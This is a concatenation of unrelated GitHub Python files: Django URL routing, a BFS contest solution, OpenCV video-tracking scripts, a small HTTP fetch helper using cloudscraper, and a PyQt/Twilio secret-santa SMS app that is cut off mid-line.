"program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.isfile", "line_number": 91, "usage_type": "call"}, {"api_name": "modules.base.console.color.cl_out", "line_number": 98, "usage_type": "call"}, {"api_name": "modules.base.console.color.c_error", "line_number": 98, "usage_type": "argument"}, {"api_name": "modules.base.base_functions.space", "line_number": 219, "usage_type": "call"}, {"api_name": "modules.base.base_functions.h_size", "line_number": 220, "usage_type": "call"}, {"api_name": "modules.base.base_functions.space", "line_number": 220, "usage_type": "call"}, {"api_name": "modules.base.console.color.cl_out", "line_number": 228, "usage_type": "call"}, {"api_name": "modules.base.console.color.c_output", "line_number": 228, "usage_type": "argument"}, {"api_name": "modules.base.base_functions.inp_lst", "line_number": 229, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 281, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 281, "usage_type": "name"}, {"api_name": "modules.base.console.color.color", "line_number": 298, "usage_type": "call"}, {"api_name": "modules.base.console.color.c_wrdlt", "line_number": 298, "usage_type": "argument"}, {"api_name": "modules.base.console.color.color", "line_number": 302, "usage_type": "call"}, {"api_name": "modules.base.console.color.c_prog", "line_number": 302, "usage_type": "argument"}, {"api_name": "datetime.datetime.now", "line_number": 307, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 307, "usage_type": "name"}, {"api_name": "modules.base.console.color.cl_out", "line_number": 309, "usage_type": "call"}, {"api_name": "modules.base.console.color.c_succes", "line_number": 309, "usage_type": "argument"}]}
{"seq_id": "6839402432", "text": "from django.contrib import admin\nfrom django.urls import path, include\n# from django.urls.conf import include\n\n# rest_framework_simplejwt\nfrom rest_framework_simplejwt.views import (\n    TokenObtainPairView,\n    TokenRefreshView,\n)\n\n\nurlpatterns = [\n    path('admin/', admin.site.urls),\n    # api-auth \n    path('api-auth/', include('rest_framework.urls', namespace='rest_framework')), # auth in interface restframeword E:\\api\\API_cour\\readme\\api_auth apres.jpg\n    # pythonarabia\n    path('pythonarabia/', include('tickets.urls',namespace='pythonarabia')), # tutorial tickets python arabia \n    # blog of very-academy\n    path('blog/', include('blog.urls',namespace='blog')), # tutorial blog Very Academy \n    path('blog_api/', include('blog_api.urls',namespace='blog_api')), # tutorial blog Very Academy \n    path('blog/user/', include('users.urls', namespace='users')),\n\n    # rest_framework_simplejwt\n    path('api/token/', TokenObtainPairView.as_view(), name='token_obtain_pair'),\n    path('api/token/refresh/', TokenRefreshView.as_view(), name='token_refresh'),\n]\n", "repo_name": "evandre31/API_cour", "sub_path": "project/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1070, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 13, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 13, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 15, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 17, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 19, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 19, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 20, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 20, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 21, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 21, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 24, "usage_type": "call"}, {"api_name": "rest_framework_simplejwt.views.TokenObtainPairView.as_view", "line_number": 24, "usage_type": "call"}, {"api_name": "rest_framework_simplejwt.views.TokenObtainPairView", "line_number": 24, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 25, "usage_type": "call"}, {"api_name": "rest_framework_simplejwt.views.TokenRefreshView.as_view", "line_number": 25, "usage_type": "call"}, {"api_name": "rest_framework_simplejwt.views.TokenRefreshView", "line_number": 25, "usage_type": "name"}]}
{"seq_id": "6538415514", "text": "# 6\r\n# 5\r\n# 1 2\r\n# 1 3\r\n# 3 4\r\n# 2 3\r\n# 4 5\r\n\r\nimport sys\r\nfrom collections import deque\r\n\r\ninput=sys.stdin.readline\r\n\r\nn=int(input())\r\nm=int(input())\r\n\r\ngraph=[[] for _ in range(n+1)]\r\nvisited=[-1 for _ in range(n+1)]\r\nfor _ in range(m):\r\n    a,b=map(int,input().split())\r\n    graph[a].append(b)\r\n    graph[b].append(a)\r\n\r\ndef bfs(k):\r\n    queue=deque()\r\n    queue.append(k)\r\n    while queue:\r\n        x=queue.popleft()\r\n        for node in graph[x]:\r\n            if visited[node]!=-1:\r\n                continue\r\n            visited[node]=visited[x]+1\r\n            queue.append(node)\r\n\r\nvisited[0]=0\r\nvisited[1]=0\r\n\r\nbfs(1)\r\n\r\nanswer=0\r\nfor i in visited[2:]:\r\n    if i<=2 and i!=-1:\r\n        answer+=1\r\nprint(answer)\r\n", "repo_name": "wonseok-lee/CS", "sub_path": "BOJ/5567.py", "file_name": "5567.py", "file_ext": "py", "file_size_in_byte": 719, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.stdin", "line_number": 12, "usage_type": "attribute"}, {"api_name": "collections.deque", "line_number": 25, "usage_type": "call"}]}
{"seq_id": "41662719286", "text": "import cv2\nimport sys\nimport numpy as np\nimport pandas as pd\nimport KalmanFilter as kf\nimport UtilityFunctions as uf\n \ndef analyseImage():  \n    # Set up tracker.\n    # Instead of MIL, you can also use\n \n    tracker_types = ['BOOSTING', 'MIL','KCF', 'TLD', 'MEDIANFLOW', 'GOTURN', 'MOSSE', 'CSRT']\n    tracker_type = tracker_types[7]\n \n    #if int(minor_ver) < 3:\n    #    tracker = cv2.Tracker_create(tracker_type)\n    #else:\n    if tracker_type == 'BOOSTING':\n        tracker = cv2.TrackerBoosting_create()\n    if tracker_type == 'MIL':\n        tracker = cv2.TrackerMIL_create()\n    if tracker_type == 'KCF':\n        tracker = cv2.TrackerKCF_create()\n    if tracker_type == 'TLD':\n        tracker = cv2.TrackerTLD_create()\n    if tracker_type == 'MEDIANFLOW':\n        tracker = cv2.TrackerMedianFlow_create()\n    if tracker_type == 'GOTURN':\n        tracker = cv2.TrackerGOTURN_create()\n    if tracker_type == 'MOSSE':\n        tracker = cv2.TrackerMOSSE_create()\n    if tracker_type == \"CSRT\":\n        tracker = cv2.TrackerCSRT_create()\n        atracker = cv2.TrackerCSRT_create()\n \n    # Read video\n    video = cv2.VideoCapture(\"movie_movie2.mov\")\n \n    # Exit if video not opened.\n    if not video.isOpened():\n        print (\"Could not open video\")\n        sys.exit()\n \n    # Read first frame.\n    ok, frame = video.read()\n    if not ok:\n        print ('Cannot read video file')\n        sys.exit()\n     \n    # Define an initial bounding box\n    bbox = (287, 23, 86, 320)\n    abox = (287, 23, 86, 320)\n \n    # Uncomment the line below to select a different bounding box\n    bbox = cv2.selectROI(frame, False)\n    abox = cv2.selectROI(frame, False)\n \n    # Initialize tracker with first frame and bounding box\n    ok = tracker.init(frame, bbox)\n    ok = atracker.init(frame, abox)\n    counter = 0;\n \n    while True:\n        # Read a new frame\n        ok, frame = video.read()\n        if not ok:\n            break\n         \n        # Start timer\n        timer = cv2.getTickCount()\n \n        # Update tracker\n        ok, bbox = tracker.update(frame)\n        ok, abox = atracker.update(frame)\n \n        # Calculate Frames per second (FPS)\n        fps = cv2.getTickFrequency() / (cv2.getTickCount() - timer);\n \n        # Draw bounding box\n        if ok:\n            # Tracking success\n            p1 = (int(bbox[0]), int(bbox[1]))\n            p2 = (int(bbox[0] + bbox[2]), int(bbox[1] + bbox[3]))    \n            cv2.rectangle(frame, p1, p2, (255,0,0), 2, 1)\n            \n            a1 = (int(abox[0]), int(abox[1]))\n            a2 = (int(abox[0] + abox[2]), int(abox[1] + abox[3]))\n            cv2.rectangle(frame, a1, a2, (0,0,255), 2, 1)\n\n            m1 = int((p1[0] + p2[0]) / 2)\n            m2 = int((a1[0] + a2[0]) / 2)\n\n            print(str(counter) + \": \" + str(m1) + \" : \" + str(int(p1[1] + p2[1]) / 2))\n            counter = counter + 1\n        else :\n            # Tracking failure\n            cv2.putText(frame, \"Tracking failure detected\", (100,80), cv2.FONT_HERSHEY_SIMPLEX, 0.75,(0,0,255),2)\n \n        # Display tracker type on frame\n        cv2.putText(frame, tracker_type + \" Tracker\", (100,20), cv2.FONT_HERSHEY_SIMPLEX, 0.75, (50,170,50),2);\n     \n        # Display FPS on frame\n        cv2.putText(frame, \"FPS : \" + str(int(fps)), (100,50), cv2.FONT_HERSHEY_SIMPLEX, 0.75, (50,170,50), 2);\n \n        # Display result\n        cv2.imshow(\"Tracking\", frame)\n \n        # Exit if ESC pressed\n        k = cv2.waitKey(1) & 0xff\n        if k == 27 : break\n\n\ndef colorAnalyse():\n\n    # Read video\n    video = cv2.VideoCapture(\"movie_movie5.mov\")\n \n    # Exit if video not opened.\n    if not video.isOpened():\n        print (\"Could not open video\")\n        sys.exit()\n \n    # Read first frame.\n    ok, frame = video.read()\n    if not ok:\n        print ('Cannot read video file')\n        sys.exit()\n \n    outdata = pd.DataFrame(columns=['cm'])\n\n    while True:\n        # Read a new frame\n        ok, frame = video.read()\n        if not ok:\n            break\n         \n \n        if ok:\n            hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n\n            lower_green = np.array([70,80,140])\n            upper_green = np.array([100,255,255])\n            \n\n            mask = cv2.inRange(hsv, lower_green, upper_green)\n            res = cv2.bitwise_and(frame,frame, mask= mask)\n\n            x = 850\n            y = 150\n            while True:\n                px = mask[y, x]\n                if(px == 255):\n                    cm = -1 * ((x - 915) / (30 + np.abs(1- x / 450)))\n                    #print((30 + np.abs(1- x / 450)))\n                    outdata = outdata.append({'cm': np.round(cm, 4)}, ignore_index = True)\n                    break\n                x = x - 1\n            \n            cv2.circle(frame, (x, y), 10, (255,0,0), -1)\n            \n\n            #cv2.imshow('frame',frame)\n            #cv2.imshow('mask',mask)\n            #cv2.imshow('res',res)\n\n        else :\n            # Tracking failure\n            cv2.putText(frame, \"Tracking failure detected\", (100,80), cv2.FONT_HERSHEY_SIMPLEX, 0.75,(0,0,255),2)\n\n        # Display result\n        cv2.imshow(\"Tracking\", frame)\n \n        # Exit if ESC pressed\n        k = cv2.waitKey(1) & 0xff\n        if k == 27 : break\n\n    outdata.to_csv('camera_truth_cm2.csv', index=False, sep=';')\n\n\n\n\ndef drawData():\n    data = pd.read_csv('data_movie5.csv')\n    y = np.array(data.cm)\n    N = len(data.cm)\n    Ts = 0.02\n    t = data.time\n\n    x, P = kf.filter(y, N, Ts)\n\n    # Read video\n    video = cv2.VideoCapture(\"movie_movie5.mov\")\n \n    # Exit if video not opened.\n    if not video.isOpened():\n        print (\"Could not open video\")\n        sys.exit()\n \n    # Read first frame.\n    ok, frame = video.read()\n    if not ok:\n        print ('Cannot read video file')\n        sys.exit()\n     \n    counter = 0\n    n = 0\n    width = video.get(3)  # float\n \n    while True:\n        # Read a new frame\n        ok, frame = video.read()\n        if not ok:\n            break\n \n        # Draw bounding box\n        if ok:\n            if(n == len(data.cm)):\n                break\n\n            if(counter > 445):\n                cm = -1 * ((x - 915) / (30 + np.abs(1- x / 450)))\n\n                cv2.circle(frame, (int(x[n][0] * -(30) + 915), 300), 10, (255,0,0), -1)\n                cv2.circle(frame, (int(data.cm[n] * -(30) + 915), 277), 10, (0,0,255), -1)\n                n = n + 1\n\n            counter = counter + 1\n\n        else :\n            # Tracking failure\n            cv2.putText(frame, \"Tracking failure detected\", (100,80), cv2.FONT_HERSHEY_SIMPLEX, 0.75,(0,0,255),2)\n \n\n        # Display result\n        cv2.imshow(\"Tracking\", frame)\n\n\n \n        # Exit if ESC pressed\n        k = cv2.waitKey(15) & 0xff\n        if k == 27 : break\n\n\ndef findCM():\n    # Read video\n    video = cv2.VideoCapture(\"movie_movie5.mov\")\n \n    # Exit if video not opened.\n    if not video.isOpened():\n        print (\"Could not open video\")\n        sys.exit()\n \n    # Read first frame.\n    ok, frame = video.read()\n    if not ok:\n        print ('Cannot read video file')\n        sys.exit()\n \n    while True:\n        # Read a new frame\n        ok, frame = video.read()\n        if not ok:\n            break\n         \n \n        if ok:\n            \n            x = 915\n            y = 330\n            while (x > 0):\n                cv2.circle(frame, (x, y), 3, (255,0,0), -1)\n                x = x - 30\n\n        else :\n            # Tracking failure\n            cv2.putText(frame, \"Tracking failure detected\", (100,80), cv2.FONT_HERSHEY_SIMPLEX, 0.75,(0,0,255),2)\n\n        # Display result\n        cv2.imshow(\"Tracking\", frame)\n \n        # Exit if ESC pressed\n        k = cv2.waitKey(15) & 0xff\n        if k == 27 : break\n", "repo_name": "RaoulBickmann/FlappyBird", "sub_path": "Python/PythonApplication1/ImageAnalysis.py", "file_name": "ImageAnalysis.py", "file_ext": "py", "file_size_in_byte": 7656, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "cv2.TrackerBoosting_create", "line_number": 19, "usage_type": "call"}, {"api_name": "cv2.TrackerMIL_create", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.TrackerKCF_create", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.TrackerTLD_create", "line_number": 25, "usage_type": "call"}, {"api_name": "cv2.TrackerMedianFlow_create", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.TrackerGOTURN_create", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.TrackerMOSSE_create", "line_number": 31, "usage_type": "call"}, {"api_name": "cv2.TrackerCSRT_create", "line_number": 33, "usage_type": "call"}, {"api_name": "cv2.TrackerCSRT_create", "line_number": 34, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 37, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 42, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 48, "usage_type": "call"}, {"api_name": "cv2.selectROI", "line_number": 55, "usage_type": "call"}, {"api_name": "cv2.selectROI", "line_number": 56, "usage_type": "call"}, {"api_name": "cv2.getTickCount", "line_number": 70, "usage_type": "call"}, {"api_name": "cv2.getTickFrequency", "line_number": 77, "usage_type": "call"}, {"api_name": "cv2.getTickCount", "line_number": 77, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 84, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 88, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 97, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 97, "usage_type": "attribute"}, {"api_name": "cv2.putText", "line_number": 100, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 100, "usage_type": "attribute"}, {"api_name": "cv2.putText", "line_number": 103, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 103, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 106, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 109, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 116, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 121, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 127, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 129, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 139, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 139, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 142, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 145, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 155, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 159, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 168, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 168, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 171, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 174, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 183, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 184, "usage_type": "call"}, {"api_name": "KalmanFilter.filter", "line_number": 189, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 192, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 197, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 203, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 221, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 223, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 224, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 231, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 231, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 235, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 240, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 246, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 251, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 257, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 271, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 276, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 276, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 279, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 282, "usage_type": "call"}]}
{"seq_id": "20031127525", "text": "import requests\nimport os\nimport cloudscraper\nfrom config import Config\n\n\n# ========================================================================获取config\ndef get_config():\n    timeout = 10000\n    retry_count = 5\n    return timeout, retry_count\n\n\n# ========================================================================获取proxies\ndef get_proxies():\n    return Config().get_proxies()\n\n\n# ========================================================================网页请求\n# 破解cf5秒盾\ndef get_html_javdb(url):\n    scraper = cloudscraper.create_scraper()\n    # 发送请求，获得响应\n    response = scraper.get(url)\n    # 获得网页源代码\n    html = response.text\n    return html\n\n\ndef get_html(url, cookies=None):\n    proxy_type = ''\n    retry_count = 0\n    proxy = ''\n    timeout = 0\n    try:\n        timeout, retry_count = get_config()\n    except Exception as error_info:\n        print('Error in get_html :' + str(error_info))\n        print('[-]Proxy config error! Please check the config.')\n    proxies = get_proxies()\n    i = 0\n    while i < retry_count:\n        try:\n            headers = {\n                'User-Agent':\n                'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '\n                'Chrome/60.0.3100.0 Safari/537.36'\n            }\n            getweb = requests.get(str(url),\n                                  headers=headers,\n                                  timeout=timeout,\n                                  proxies=proxies,\n                                  cookies=cookies)\n            getweb.encoding = 'utf-8'\n            return getweb.text\n        except Exception as error_info:\n            i += 1\n            print('Error in get_html :' + str(error_info))\n            print('[-]Connect retry ' + str(i) + '/' + str(retry_count))\n    print('[-]Connect Failed! Please check your Proxy or Network!')\n    return 'ProxyError'\n\n\ndef post_html(url: str, query: dict):\n    proxy_type = ''\n    retry_count = 0\n    proxy = ''\n    timeout = 0\n    try:\n        proxy_type, proxy, timeout, retry_count = get_config()\n    except Exception as error_info:\n        print('Error in post_html :' + str(error_info))\n        print('[-]Proxy config error! Please check the config.')\n    proxies = get_proxies(proxy_type, proxy)\n    for i in range(retry_count):\n        try:\n            result = requests.post(url,\n                                   data=query,\n                                   proxies=proxies,\n                                   timeout=timeout)\n            result.encoding = 'utf-8'\n            result = result.text\n            return result\n        except Exception as error_info:\n            print('Error in post_html :' + str(error_info))\n            print(\"[-]Connect retry {}/{}\".format(i + 1, retry_count))\n    print(\"[-]Connect Failed! Please check your Proxy or Network!\")\n    return 'ProxyError'\n", "repo_name": "frank-we/wastool", "sub_path": "app/jmedia/Function/getHtml.py", "file_name": "getHtml.py", "file_ext": "py", "file_size_in_byte": 2899, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "config.Config", "line_number": 16, "usage_type": "call"}, {"api_name": "cloudscraper.create_scraper", "line_number": 22, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 49, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 77, "usage_type": "call"}]}
{"seq_id": "7552997560", "text": "import csv\r\nimport os\r\nimport re\r\nimport sys\r\nfrom PyQt5.QtWidgets import *\r\nfrom PyQt5.QtWidgets import QPushButton, QLineEdit, QMessageBox\r\nfrom PyQt5.QtCore import *\r\nfrom PyQt5.QtGui import *\r\nfrom PyQt5 import QtCore, QtWidgets\r\nfrom PyQt5.QtCore import QUrl\r\nimport pandas as pd\r\n\r\n# import uses Twilio REST client\r\n\r\nfrom twilio.rest import Client\r\nimport random\r\n\r\n\r\n# Couple class for holding the couples with their first name and phone number\r\n\r\nfailed_to_send = False\r\n\r\nclass Couple:\r\n\r\n    def __init__(\r\n        self,\r\n        first_name,\r\n        first_number,\r\n        second_name,\r\n        second_number,\r\n        ):\r\n        self.first_name = first_name\r\n        self.first_number = first_number\r\n        self.second_name = second_name\r\n        self.second_number = second_number\r\n        self.couple_pool = []\r\n        self.failed_to_send = False\r\n\r\n    def set_secretSanta(self, x):\r\n        self.secretSanta = x\r\n\r\n    def addToCouplePool(self, couple):\r\n        self.couple_pool.append(couple)\r\n\r\n    def send_message(self, client, messaging_sid, organiser):\r\n        print(\"Got to send message function\")\r\n\r\n        # the twilio client sends two messages, one to each couple member\r\n        message = client.messages.create(  \r\n          messaging_service_sid=messaging_sid, \r\n          body= 'Merry Christmas ' + self.first_name + \r\n            \", your secret santa couple is: \" + self.secretSanta.first_name + ' & ' + self.secretSanta.second_name + ', '\r\n            \"Programmed by yours truly, \" + organiser,   \r\n          to= self.first_number \r\n        )\r\n\r\n        message2 = client.messages.create(  \r\n          messaging_service_sid=messaging_sid, \r\n          body= 'Merry Christmas ' + self.second_name + \r\n            \", your secret santa couple is: \" + self.secretSanta.first_name + ' & ' + self.secretSanta.second_name + ', '\r\n            \"Programmed by yours truly, Damon\", \r\n          to= self.second_number \r\n        )\r\n        \r\n\r\ndef escape_ansi(line):\r\n    ansi_escape =re.compile(r'(\\x9B|\\x1B\\[)[0-?]*[ -\\/]*[@-~]')\r\n    return ansi_escape.sub('', line)\r\n\r\nclass Form(QDialog):\r\n    def __init__(self, parent=None):\r\n        super(Form, self).__init__(parent)\r\n\r\n        self.couple_list = []\r\n\r\n        QFontDatabase.addApplicationFont('Christmas Bell - Personal Use.otf'\r\n                )\r\n        heading_font = QFont('Christmas Bell - Personal Use')\r\n        heading_font.setPointSize(35)\r\n\r\n        h2Font = QFont()\r\n        h2Font.setPointSize(18)\r\n\r\n        textFont = QFont()\r\n        textFont.setPointSize(12)\r\n\r\n        self.headingLabel = QLabel('Couples Secret Santa Python Program!')\r\n        self.headingLabel.setFont(heading_font)\r\n\r\n        self.headingLabel.setStyleSheet('color: #0BD6A8; background-color: #D6001C;'\r\n                )\r\n          \r\n        self.headingLabel.setAlignment(QtCore.Qt.AlignCenter)\r\n\r\n        self.radioButtonTesting = QtWidgets.QRadioButton(\"Testing Mode\")\r\n        self.radioButtonTesting.setChecked(True)\r\n        self.radioButtonTesting.toggled.connect(self.testingSelected)\r\n        self.testingBool = True\r\n\r\n        self.workingMode = QtWidgets.QRadioButton(\"Working Mode\")\r\n        self.workingMode.toggled.connect(self.workingSelected)\r\n        self.workingBool = False\r\n\r\n        self.openFileButton = QPushButton()\r\n        self.openFileButton.setObjectName('openFile')\r\n        self.openFileButton.setText('Import Couples from CSV')\r\n        self.openFileButton.clicked.connect(self.openFile)\r\n\r\n        self.twilioLabel = QLabel('Twilio Information')\r\n        self.twilioLabel.setContentsMargins(0, 20, 0, 5)\r\n        self.twilioLabel.setFont(h2Font)\r\n\r\n        self.account_sid = QLineEdit()\r\n        self.account_sid.setObjectName('sid')\r\n        self.account_sid.setPlaceholderText('Enter your twilio account SID')\r\n        self.setFont(textFont)\r\n        self.account_sid.setEchoMode(QtWidgets.QLineEdit.Password)\r\n\r\n        self.account_auth = QLineEdit()\r\n        self.account_auth.setObjectName('auth')\r\n        self.account_auth.setPlaceholderText('Enter your twilio account Authentication Token')\r\n        self.account_auth.setEchoMode(QtWidgets.QLineEdit.Password)\r\n\r\n        self.messaging_sid = QLineEdit()\r\n        self.messaging_sid.setObjectName('msgSid')\r\n        self.messaging_sid.setPlaceholderText('Enter your twilio messaging service SID')\r\n        self.messaging_sid.setEchoMode(QtWidgets.QLineEdit.Password)\r\n\r\n        self.organiserLabel = QLabel('Organiser Information')\r\n        self.organiserLabel.setContentsMargins(0, 20, 0, 5)\r\n        self.organiserLabel.setFont(h2Font)\r\n\r\n        self.organiser = QLineEdit()\r\n        self.organiser.setObjectName('organiser')\r\n        self.organiser.setPlaceholderText('Organiser Name')\r\n\r\n        self.coupleLabel = QLabel('Couple Information')\r\n        self.coupleLabel.setContentsMargins(0, 20, 0, 5)\r\n        self.coupleLabel.setFont(h2Font)\r\n\r\n        self.couple_f_name = QLineEdit()\r\n        self.couple_f_name.setObjectName('fName')\r\n        self.couple_f_name.setPlaceholderText('First Couple Name')\r\n\r\n        self.couple_f_phone = QLineEdit()\r\n        self.couple_f_phone.setObjectName('fPhone')\r\n        self.couple_f_phone.setPlaceholderText('First Couple Phone Number (include area code ie +61)'\r\n                )\r\n\r\n        self.couple_s_name = QLineEdit()\r\n        self.couple_s_name.setObjectName('sName')\r\n        self.couple_s_name.setPlaceholderText('Second Couple Name')\r\n\r\n        self.couple_s_phone = QLineEdit()\r\n        self.couple_s_phone.setObjectName('sPhone')\r\n        self.couple_s_phone.setPlaceholderText('Second Couple Phone Number (include area code ie +61)'\r\n                )\r\n\r\n        self.list = QListWidget()\r\n\r\n        self.addCoupleButton = QPushButton()\r\n        self.addCoupleButton.setObjectName('addCouple')\r\n        self.addCoupleButton.setText('Add Couple')\r\n        self.addCoupleButton.clicked.connect(self.addCouple)\r\n\r\n        self.sendMessageButton = QPushButton()\r\n        self.sendMessageButton.setObjectName('sendMessage')\r\n        self.sendMessageButton.setText('Send Secret Santa Messages!')\r\n        self.sendMessageButton.clicked.connect(self.sendMessage)\r\n\r\n        self.resetButton = QPushButton()\r\n        self.resetButton.setObjectName('reset')\r\n        self.resetButton.setText('Reset Secret Santa Service!')\r\n        self.resetButton.clicked.connect(self.resetSS)\r\n\r\n        layout = QFormLayout()\r\n\r\n        layout.addWidget(self.headingLabel)\r\n        layout.addWidget(self.openFileButton)\r\n        layout.addWidget(self.radioButtonTesting)\r\n        layout.addWidget(self.workingMode)\r\n\r\n        layout.addWidget(self.organiserLabel)\r\n        layout.addWidget(self.organiser)\r\n\r\n        \r\n\r\n        layout.addWidget(self.twilioLabel)\r\n\r\n        layout.addWidget(self.account_sid)\r\n        layout.addWidget(self.account_auth)\r\n        layout.addWidget(self.messaging_sid)\r\n\r\n        \r\n        layout.addWidget(self.coupleLabel)\r\n\r\n        layout.addWidget(self.couple_f_name)\r\n        layout.addWidget(self.couple_f_phone)\r\n\r\n        layout.addWidget(self.couple_s_name)\r\n        layout.addWidget(self.couple_s_phone)\r\n        layout.addWidget(self.addCoupleButton)\r\n\r\n        layout.addWidget(self.list)\r\n\r\n        layout.addWidget(self.sendMessageButton)\r\n        layout.addWidget(self.resetButton)\r\n\r\n        self.setLayout(layout)\r\n\r\n        self.setWindowTitle('Secret Santa Twilio Application')\r\n        self.setFixedSize(900, 900)\r\n        self.setWindowFlag(QtCore.Qt.WindowContextHelpButtonHint,False)\r\n\r\n    def openFile(self):\r\n      path = QFileDialog.getOpenFileName(self, 'Open CSV', os.getenv('HOME'), 'CSV(*.csv)')\r\n\r\n      try:\r\n        with open(path[0], 'r', encoding='utf-8-sig') as csvfile:\r\n          datareader = csv.reader(csvfile)\r\n          for row in datareader:\r\n            first_name = row[0]\r\n            first_number = '+' + row[1]\r\n            second_name = row[2]\r\n            second_number = '+' + row[3]\r\n            couple = Couple(first_name, first_number, second_name, second_number)\r\n            self.couple_list.append(couple)\r\n\r\n            couple_string = 'Name: ' + first_name + ', Phone: ' + first_number \\\r\n              + ', Name: ' + second_name + ', Phone: ' + second_number\r\n\r\n            self.list.addItem(couple_string)\r\n      except Exception as e:\r\n        dlg = QMessageBox(self)\r\n        dlg.setWindowTitle(\"Error!\")\r\n        dlg.setText(\"An error occured: \" + str(e))\r\n        button = dlg.exec()\r\n        if button == QMessageBox.Ok:\r\n          print(\"OK!\")\r\n          return\r\n\r\n\r\n    def addCouple(self):\r\n\r\n        # checks that all fields are there otherwise doesn't add person\r\n        if not self.couple_f_name.text() \\\r\n            or not self.couple_s_name.text() \\\r\n            or not self.couple_f_phone.text() \\\r\n            or not self.couple_s_name.text() \\\r\n            or not self.couple_s_phone.text():\r\n\r\n            dlg = QMessageBox(self)\r\n            dlg.setWindowTitle(\"Error!\")\r\n            dlg.setText(\"You've missed a field, make sure all details are there and try again :)\")\r\n            button = dlg.exec()\r\n            if button == QMessageBox.Ok:\r\n              print(\"OK!\")\r\n              return\r\n\r\n        # shost is a QString object\r\n\r\n        fName = self.couple_f_name.text()\r\n        fphone = self.couple_f_phone.text()\r\n\r\n        sName = self.couple_s_name.text()\r\n        sphone = self.couple_s_phone.text()\r\n\r\n        couple_string = 'Name: ' + fName + ', Phone: ' + 